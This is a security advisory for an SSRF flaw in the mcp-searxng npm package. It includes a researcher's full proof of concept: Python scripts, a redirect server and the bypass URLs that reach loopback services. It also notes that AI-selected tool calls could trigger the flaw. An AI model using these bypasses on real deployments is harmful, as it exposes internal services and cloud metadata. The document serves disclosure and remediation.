CVE-2026-54689: SearXNG MCP Server Additional Hardened-mode SSRF Bypasses Vulnerability

MODERATE
Advisory Identifier: GHSA-wppf-h75h-6pm6
CVSS 6.3
CWE-918 CWE-200
Published
Advisory Summary

CVE-2026-54689 is a MODERATE (CVSS 6.3) additional hardened-mode ssrf bypasses vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting SearXNG MCP Server libraries in the npm ecosystem. The issue involves additional hardened-mode ssrf bypasses. Remediation is available by upgrading affected packages to version 1.2.1.

CVE-2026-54689 at a Glance

CVE Identifier CVE-2026-54689
GHSA Identifier GHSA-wppf-h75h-6pm6
Severity MODERATE
CVSS v3.1 Base Score 6.3
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product SearXNG MCP Server
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-54689

To remediate this vulnerability, upgrade all affected SearXNG MCP Server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp-searxng fixed: 1.2.1
npm install mcp-searxng@1.2.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls mcp-searxng

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-54689, inspect your project dependencies using npm:

npm ls mcp-searxng

Analyze the terminal output to locate any version of SearXNG MCP Server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.1), your application is affected.

Note: The npm ls mcp-searxng command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In SearXNG MCP Server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `mcp-searxng` has a hardened-mode URL-reading feature intended to prevent `web_url_read` from reaching private or internal network resources. PR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case. However, several other hardened-mode SSRF bypasses still appear to remain: 1. Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target. 2. `0.0.0.0` is not treated as an internal/special address. 3. IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization. With hardened mode enabled and private URLs not explicitly allowed, `web_url_read` was still able to fetch and return content from a local loopback sentinel service in all three cases. ## Tested configuration ```bash MCP_HTTP_HARDEN=true MCP_HTTP_ALLOW_PRIVATE_URLS unset ``` The MCP server was driven over stdio. The test target was a harmless internal sentinel HTTP service bound to: ```text 127.0.0.1:6789 ``` The sentinel response contained: ```text INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2 ``` ## Relationship to PR #79 I tested PR #79 locally: - PR: `fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79` - PR commit tested: `e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4` - Base issue class: CWE-918 / SSRF in `web_url_read` - Hardened mode: enabled Observed results: ```text Case Result on PR #79 ------------------------------------------------------------- DNS hostname resolving to 127.0.0.1 blocked 0.0.0.0 BYPASS [::ffff:127.0.0.1] BYPASS redirect from non-private IP to 127.0.0.1 BYPASS ``` So PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access. ## Root cause ### 1. Redirect targets are not re-validated The URL policy appears to be applied to the initial URL, but redirect targets are followed by `fetch()` without applying the same policy to each hop. A non-private attacker-controlled first-hop URL can respond with: ```http 302 Location: http://127.0.0.1:6789/secret ``` The request is then followed to loopback. This is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to `127.0.0.1`. ### 2. `0.0.0.0` is not treated as internal `0.0.0.0` is not currently blocked by the private IPv4 predicate. On Linux, connecting to `0.0.0.0:<port>` can reach a local service bound on loopback or wildcard interfaces. In my test, this URL returned the sentinel from the local loopback service: ```text http://0.0.0.0:6789/secret ``` ### 3. IPv4-mapped IPv6 canonicalization bypass The current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as: ```text ::ffff:127.0.0.1 ``` However, Node's WHATWG URL parser canonicalizes: ```js new URL("http://[::ffff:127.0.0.1]/").hostname ``` to: ```text [::ffff:7f00:1] ``` As a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address. In my test, this URL returned the loopback sentinel: ```text http://[::ffff:127.0.0.1]:6789/secret ``` ## Impact This is a hardened-mode SSRF bypass. The sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host. In real deployments, the same class of issue could allow `web_url_read` to reach: - local admin panels bound to loopback; - Redis, Elasticsearch, or other local HTTP-like services; - internal HTTP APIs on private networks; - service mesh endpoints; - cloud metadata endpoints, depending on routing and environment. This is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger `web_url_read` with one of these bypass URLs. ## Proof of Concept ### 1. Build the PR #79 branch ```bash cd /home/exouser/Desktop mkdir -p searxng_pr79_test cd searxng_pr79_test git clone --depth 1 \ -b fix/cwe918-url-reader-ssrf-4676 \ https://github.com/sebastiondev/mcp-searxng.git pr79 cd pr79 git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/index.js ``` Expected PR commit: ```text e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4 ``` ### 2. Start an internal sentinel service This service represents an internal-only HTTP service reachable from the MCP server host. ```bash cat > /tmp/searxng_sentinel_server.py <<'PY' #!/usr/bin/env python3 import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789 SENTINEL = b"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2" class H(BaseHTTPRequestHandler): def do_GET(self): body = b"<html><body><h1>internal</h1><p>" + SENTINEL + b"</p></body></html>" self.send_response(200) self.send_header("Content-Type", "text/html") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, fmt, *args): sys.stderr.write("[sentinel %s] %s\n" % (PORT, fmt % args)) def serve_v4(): HTTPServer(("127.0.0.1", PORT), H).serve_forever() def serve_v6(): try: import socket class HTTPServerV6(HTTPServer): address_family = socket.AF_INET6 HTTPServerV6(("::1", PORT), H).serve_forever() except Exception as e: sys.stderr.write(f"[sentinel] IPv6 listener failed: {e}\n") threading.Thread(target=serve_v4, daemon=True).start() serve_v6() PY fuser -k 6789/tcp 6790/tcp 2>/dev/null || true nohup python3 /tmp/searxng_sentinel_server.py 6789 >/tmp/searxng_sentinel.log 2>&1 & sleep 1 curl -sS http://127.0.0.1:6789/secret ``` Expected output contains: ```text INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2 ``` ### 3. PoC A: `0.0.0.0` ```bash cat > /tmp/poc_0_0_0_0.py <<'PY' #!/usr/bin/env python3 import json import os import subprocess import time import sys from pathlib import Path REPO = Path("/home/exouser/Desktop/searxng_pr79_test/pr79") SERVER = REPO / "dist" / "index.js" SENTINEL = "INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2" ENV = { "MCP_HTTP_HARDEN": "true", "MCP_HTTP_AUTH_TOKEN": "poc-token", "MCP_HTTP_ALLOWED_ORIGINS": "http://localhost:9999", } def send(p, o): p.stdin.write((json.dumps(o) + "\n").encode()) p.stdin.flush() def recv(p, want_id, timeout=20): end = time.time() + timeout while time.time() < end: line = p.stdout.readline() if not line: time.sleep(0.05) continue try: m = json.loads(line.decode()) except Exception: continue if m.get("id") == want_id: return m raise TimeoutError() def main(): url = "http://0.0.0.0:6789/secret" print(f"[poc] hardened-mode read_url url = {url!r}") p = subprocess.Popen( ["node", str(SERVER)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=str(REPO), env={**os.environ, **ENV}, ) try: send(p, { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "poc", "version": "0"} } }) recv(p, 1) send(p, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} }) send(p, { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "web_url_read", "arguments": { "url": url, "maxLength": 400 } } }) r = recv(p, 2) finally: try: p.terminate() p.wait(timeout=3) except Exception: p.kill() text = json.dumps(r).replace("\\\\_", "_").replace("\\_", "_") if SENTINEL in text: print("[poc] RESULT: BYPASS — sentinel returned") try: print("[poc] tool returned:", repr(r["result"]["content"][0]["text"][:200])) except Exception: pass sys.exit(0) print("[poc] RESULT: blocked / failed") print(json.dumps(r)[:500]) sys.exit(1) if __name__ == "__main__": main() PY python3 /tmp/poc_0_0_0_0.py ``` Observed: ```text [poc] hardened-mode read_url url = 'http://0.0.0.0:6789/secret' [poc] RESULT: BYPASS — sentinel returned ``` ### 4. PoC B: IPv4-mapped IPv6 ```bash sed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \ /tmp/poc_0_0_0_0.py > /tmp/poc_ipv4_mapped_ipv6.py python3 /tmp/poc_ipv4_mapped_ipv6.py ``` Observed: ```text [poc] hardened-mode read_url url = 'http://[::ffff:127.0.0.1]:6789/secret' [poc] RESULT: BYPASS — sentinel returned ``` ### 5. PoC C: redirect from a non-private first-hop address to loopback This uses `198.51.100.1` as a safe local stand-in for a non-private attacker-controlled first-hop address. ```bash sudo ip addr add 198.51.100.1/32 dev lo cat > /tmp/redirector_public.py <<'PY' #!/usr/bin/env python3 from http.server import BaseHTTPRequestHandler, HTTPServer class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header("Location", "http://127.0.0.1:6789/secret") self.send_header("Content-Length", "0") self.end_headers() def log_message(self, *args, **kwargs): pass HTTPServer(("198.51.100.1", 6790), H).serve_forever() PY fuser -k 6790/tcp 2>/dev/null || true nohup python3 /tmp/redirector_public.py >/tmp/searxng_redirector_public.log 2>&1 & sleep 1 curl -sSL http://198.51.100.1:6790/jump ``` The `curl` sanity check should return the internal sentinel. Now run the MCP request: ```bash sed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \ /tmp/poc_0_0_0_0.py > /tmp/poc_redirect_public_to_loopback.py python3 /tmp/poc_redirect_public_to_loopback.py ``` Observed: ```text [poc] hardened-mode read_url url = 'http://198.51.100.1:6790/jump' [poc] RESULT: BYPASS — sentinel returned ``` ### Cleanup ```bash fuser -k 6789/tcp 6790/tcp 2>/dev/null || true sudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true ``` ## Reproduction note `NodeHtmlMarkdown` escapes `_` to `\_`, so the sentinel may appear in the MCP response as: ```text INTERNAL\_SECRET\_DATA\_\_mcp\_searxng\_ssrf\_path2 ``` When grepping or matching the response, either match against the escaped form or normalize `\_` back to `_`. ## Expected behavior When hardened mode is enabled and private URLs are not explicitly allowed, `web_url_read` should not be able to fetch loopback or internal resources through: - direct special-address literals; - IPv4-mapped IPv6 literals; - redirect chains; - hostnames that resolve to private or internal addresses. ## Actual behavior With hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service: ```text http://0.0.0.0:6789/secret http://[::ffff:127.0.0.1]:6789/secret http://198.51.100.1:6790/jump -> 302 Location: http://127.0.0.1:6789/secret ``` ## Suggested fix A complete fix likely needs more than a connect-time DNS lookup guard. Suggested changes: - Re-validate every redirect hop. One option is to use `redirect: "manual"` and apply the same URL policy to each `Location` before following it. - Treat `0.0.0.0/8` and other IANA special-purpose ranges as internal/non-public. - Handle IPv4-mapped IPv6 after canonicalization, including forms such as `[::ffff:7f00:1]`. - Apply private-address checks to IP literals directly, not only through DNS lookup hooks. - Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching. - Add regression tests for: - redirect to `127.0.0.1`; - `0.0.0.0`; - `[::ffff:127.0.0.1]`; - hostname resolving to `127.0.0.1`; - decimal IPv4 normalization remaining blocked. ```

CVE-2026-54689 Affected SearXNG MCP Server Versions

1 component(s)
Fixed Versions:
1.2.1
Product / Package Ecosystem Affected Versions Fixed Version
mcp-searxng
npm
< 1.2.1
1.2.1

References

Frequently Asked Questions

What is CVE-2026-54689?
CVE-2026-54689 is a security vulnerability in SearXNG MCP Server involving Additional hardened-mode SSRF bypasses under CWE-918: Server-Side Request Forgery (SSRF).
Which SearXNG MCP Server versions are affected?
Affected versions include releases prior to 1.2.1 across affected packages: mcp-searxng.
What version fixes CVE-2026-54689?
Upgrading to 1.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp-searxng affected?
Yes, mcp-searxng is affected in releases prior to 1.2.1. Upgrade your dependency to 1.2.1 or later.
What is the CVSS score of CVE-2026-54689?
CVE-2026-54689 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-54689?
CVE-2026-54689 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-54689?
Run the dependency tree command: 'npm ls mcp-searxng'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wppf-h75h-6pm6",
  "modified" : "2026-08-19T19:23:16Z",
  "published" : "2026-08-19T19:23:16Z",
  "aliases" : [ "CVE-2026-54689" ],
  "summary" : "SearXNG MCP Server: Additional hardened-mode SSRF bypasses",
  "details" : "## Summary\n\n`mcp-searxng` has a hardened-mode URL-reading feature intended to prevent `web_url_read` from reaching private or internal network resources.\n\nPR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.\n\nHowever, several other hardened-mode SSRF bypasses still appear to remain:\n\n1. Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target.\n2. `0.0.0.0` is not treated as an internal/special address.\n3. IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.\n\nWith hardened mode enabled and private URLs not explicitly allowed, `web_url_read` was still able to fetch and return content from a local loopback sentinel service in all three cases.\n\n## Tested configuration\n\n```bash\nMCP_HTTP_HARDEN=true\nMCP_HTTP_ALLOW_PRIVATE_URLS unset\n```\n\nThe MCP server was driven over stdio.\n\nThe test target was a harmless internal sentinel HTTP service bound to:\n\n```text\n127.0.0.1:6789\n```\n\nThe sentinel response contained:\n\n```text\nINTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\n```\n\n## Relationship to PR #79\n\nI tested PR #79 locally:\n\n- PR: `fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79`\n- PR commit tested: `e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4`\n- Base issue class: CWE-918 / SSRF in `web_url_read`\n- Hardened mode: enabled\n\nObserved results:\n\n```text\nCase                                         Result on PR #79\n-------------------------------------------------------------\nDNS hostname resolving to 127.0.0.1          blocked\n0.0.0.0                                      BYPASS\n[::ffff:127.0.0.1]                           BYPASS\nredirect from non-private IP to 127.0.0.1    BYPASS\n```\n\nSo PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.\n\n## Root cause\n\n### 1. Redirect targets are not re-validated\n\nThe URL policy appears to be applied to the initial URL, but redirect targets are followed by `fetch()` without applying the same policy to each hop.\n\nA non-private attacker-controlled first-hop URL can respond with:\n\n```http\n302 Location: http://127.0.0.1:6789/secret\n```\n\nThe request is then followed to loopback.\n\nThis is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to `127.0.0.1`.\n\n### 2. `0.0.0.0` is not treated as internal\n\n`0.0.0.0` is not currently blocked by the private IPv4 predicate. On Linux, connecting to `0.0.0.0:<port>` can reach a local service bound on loopback or wildcard interfaces.\n\nIn my test, this URL returned the sentinel from the local loopback service:\n\n```text\nhttp://0.0.0.0:6789/secret\n```\n\n### 3. IPv4-mapped IPv6 canonicalization bypass\n\nThe current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:\n\n```text\n::ffff:127.0.0.1\n```\n\nHowever, Node's WHATWG URL parser canonicalizes:\n\n```js\nnew URL(\"http://[::ffff:127.0.0.1]/\").hostname\n```\n\nto:\n\n```text\n[::ffff:7f00:1]\n```\n\nAs a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.\n\nIn my test, this URL returned the loopback sentinel:\n\n```text\nhttp://[::ffff:127.0.0.1]:6789/secret\n```\n\n## Impact\n\nThis is a hardened-mode SSRF bypass.\n\nThe sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.\n\nIn real deployments, the same class of issue could allow `web_url_read` to reach:\n\n- local admin panels bound to loopback;\n- Redis, Elasticsearch, or other local HTTP-like services;\n- internal HTTP APIs on private networks;\n- service mesh endpoints;\n- cloud metadata endpoints, depending on routing and environment.\n\nThis is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger `web_url_read` with one of these bypass URLs.\n\n## Proof of Concept\n\n### 1. Build the PR #79 branch\n\n```bash\ncd /home/exouser/Desktop\nmkdir -p searxng_pr79_test\ncd searxng_pr79_test\n\ngit clone --depth 1 \\\n  -b fix/cwe918-url-reader-ssrf-4676 \\\n  https://github.com/sebastiondev/mcp-searxng.git pr79\n\ncd pr79\ngit rev-parse HEAD\n\nnpm install --no-audit --no-fund\nnpm run build\n\nls -l dist/index.js\n```\n\nExpected PR commit:\n\n```text\ne55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4\n```\n\n### 2. Start an internal sentinel service\n\nThis service represents an internal-only HTTP service reachable from the MCP server host.\n\n```bash\ncat > /tmp/searxng_sentinel_server.py <<'PY'\n#!/usr/bin/env python3\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nPORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789\nSENTINEL = b\"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\"\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        body = b\"<html><body><h1>internal</h1><p>\" + SENTINEL + b\"</p></body></html>\"\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        self.wfile.write(body)\n\n    def log_message(self, fmt, *args):\n        sys.stderr.write(\"[sentinel %s] %s\\n\" % (PORT, fmt % args))\n\ndef serve_v4():\n    HTTPServer((\"127.0.0.1\", PORT), H).serve_forever()\n\ndef serve_v6():\n    try:\n        import socket\n        class HTTPServerV6(HTTPServer):\n            address_family = socket.AF_INET6\n        HTTPServerV6((\"::1\", PORT), H).serve_forever()\n    except Exception as e:\n        sys.stderr.write(f\"[sentinel] IPv6 listener failed: {e}\\n\")\n\nthreading.Thread(target=serve_v4, daemon=True).start()\nserve_v6()\nPY\n\nfuser -k 6789/tcp 6790/tcp 2>/dev/null || true\nnohup python3 /tmp/searxng_sentinel_server.py 6789 >/tmp/searxng_sentinel.log 2>&1 &\nsleep 1\n\ncurl -sS http://127.0.0.1:6789/secret\n```\n\nExpected output contains:\n\n```text\nINTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\n```\n\n### 3. PoC A: `0.0.0.0`\n\n```bash\ncat > /tmp/poc_0_0_0_0.py <<'PY'\n#!/usr/bin/env python3\nimport json\nimport os\nimport subprocess\nimport time\nimport sys\nfrom pathlib import Path\n\nREPO = Path(\"/home/exouser/Desktop/searxng_pr79_test/pr79\")\nSERVER = REPO / \"dist\" / \"index.js\"\nSENTINEL = \"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2\"\n\nENV = {\n    \"MCP_HTTP_HARDEN\": \"true\",\n    \"MCP_HTTP_AUTH_TOKEN\": \"poc-token\",\n    \"MCP_HTTP_ALLOWED_ORIGINS\": \"http://localhost:9999\",\n}\n\ndef send(p, o):\n    p.stdin.write((json.dumps(o) + \"\\n\").encode())\n    p.stdin.flush()\n\ndef recv(p, want_id, timeout=20):\n    end = time.time() + timeout\n    while time.time() < end:\n        line = p.stdout.readline()\n        if not line:\n            time.sleep(0.05)\n            continue\n        try:\n            m = json.loads(line.decode())\n        except Exception:\n            continue\n        if m.get(\"id\") == want_id:\n            return m\n    raise TimeoutError()\n\ndef main():\n    url = \"http://0.0.0.0:6789/secret\"\n    print(f\"[poc] hardened-mode read_url url = {url!r}\")\n\n    p = subprocess.Popen(\n        [\"node\", str(SERVER)],\n        stdin=subprocess.PIPE,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        cwd=str(REPO),\n        env={**os.environ, **ENV},\n    )\n\n    try:\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"poc\", \"version\": \"0\"}\n            }\n        })\n        recv(p, 1)\n\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"method\": \"notifications/initialized\",\n            \"params\": {}\n        })\n\n        send(p, {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 2,\n            \"method\": \"tools/call\",\n            \"params\": {\n                \"name\": \"web_url_read\",\n                \"arguments\": {\n                    \"url\": url,\n                    \"maxLength\": 400\n                }\n            }\n        })\n\n        r = recv(p, 2)\n    finally:\n        try:\n            p.terminate()\n            p.wait(timeout=3)\n        except Exception:\n            p.kill()\n\n    text = json.dumps(r).replace(\"\\\\\\\\_\", \"_\").replace(\"\\\\_\", \"_\")\n    if SENTINEL in text:\n        print(\"[poc] RESULT: BYPASS — sentinel returned\")\n        try:\n            print(\"[poc] tool returned:\", repr(r[\"result\"][\"content\"][0][\"text\"][:200]))\n        except Exception:\n            pass\n        sys.exit(0)\n\n    print(\"[poc] RESULT: blocked / failed\")\n    print(json.dumps(r)[:500])\n    sys.exit(1)\n\nif __name__ == \"__main__\":\n    main()\nPY\n\npython3 /tmp/poc_0_0_0_0.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://0.0.0.0:6789/secret'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### 4. PoC B: IPv4-mapped IPv6\n\n```bash\nsed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \\\n  /tmp/poc_0_0_0_0.py > /tmp/poc_ipv4_mapped_ipv6.py\n\npython3 /tmp/poc_ipv4_mapped_ipv6.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://[::ffff:127.0.0.1]:6789/secret'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### 5. PoC C: redirect from a non-private first-hop address to loopback\n\nThis uses `198.51.100.1` as a safe local stand-in for a non-private attacker-controlled first-hop address.\n\n```bash\nsudo ip addr add 198.51.100.1/32 dev lo\n\ncat > /tmp/redirector_public.py <<'PY'\n#!/usr/bin/env python3\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\"Location\", \"http://127.0.0.1:6789/secret\")\n        self.send_header(\"Content-Length\", \"0\")\n        self.end_headers()\n\n    def log_message(self, *args, **kwargs):\n        pass\n\nHTTPServer((\"198.51.100.1\", 6790), H).serve_forever()\nPY\n\nfuser -k 6790/tcp 2>/dev/null || true\nnohup python3 /tmp/redirector_public.py >/tmp/searxng_redirector_public.log 2>&1 &\nsleep 1\n\ncurl -sSL http://198.51.100.1:6790/jump\n```\n\nThe `curl` sanity check should return the internal sentinel.\n\nNow run the MCP request:\n\n```bash\nsed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \\\n  /tmp/poc_0_0_0_0.py > /tmp/poc_redirect_public_to_loopback.py\n\npython3 /tmp/poc_redirect_public_to_loopback.py\n```\n\nObserved:\n\n```text\n[poc] hardened-mode read_url url = 'http://198.51.100.1:6790/jump'\n[poc] RESULT: BYPASS — sentinel returned\n```\n\n### Cleanup\n\n```bash\nfuser -k 6789/tcp 6790/tcp 2>/dev/null || true\nsudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true\n```\n\n## Reproduction note\n\n`NodeHtmlMarkdown` escapes `_` to `\\_`, so the sentinel may appear in the MCP response as:\n\n```text\nINTERNAL\\_SECRET\\_DATA\\_\\_mcp\\_searxng\\_ssrf\\_path2\n```\n\nWhen grepping or matching the response, either match against the escaped form or normalize `\\_` back to `_`.\n\n## Expected behavior\n\nWhen hardened mode is enabled and private URLs are not explicitly allowed, `web_url_read` should not be able to fetch loopback or internal resources through:\n\n- direct special-address literals;\n- IPv4-mapped IPv6 literals;\n- redirect chains;\n- hostnames that resolve to private or internal addresses.\n\n## Actual behavior\n\nWith hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:\n\n```text\nhttp://0.0.0.0:6789/secret\nhttp://[::ffff:127.0.0.1]:6789/secret\nhttp://198.51.100.1:6790/jump  -> 302 Location: http://127.0.0.1:6789/secret\n```\n\n## Suggested fix\n\nA complete fix likely needs more than a connect-time DNS lookup guard.\n\nSuggested changes:\n\n- Re-validate every redirect hop. One option is to use `redirect: \"manual\"` and apply the same URL policy to each `Location` before following it.\n- Treat `0.0.0.0/8` and other IANA special-purpose ranges as internal/non-public.\n- Handle IPv4-mapped IPv6 after canonicalization, including forms such as `[::ffff:7f00:1]`.\n- Apply private-address checks to IP literals directly, not only through DNS lookup hooks.\n- Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching.\n- Add regression tests for:\n  - redirect to `127.0.0.1`;\n  - `0.0.0.0`;\n  - `[::ffff:127.0.0.1]`;\n  - hostname resolving to `127.0.0.1`;\n  - decimal IPv4 normalization remaining blocked.\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "mcp-searxng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.2.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-wppf-h75h-6pm6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ihor-sokoliuk/mcp-searxng"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-19T19:23:16Z",
    "nvd_published_at" : null
  }
}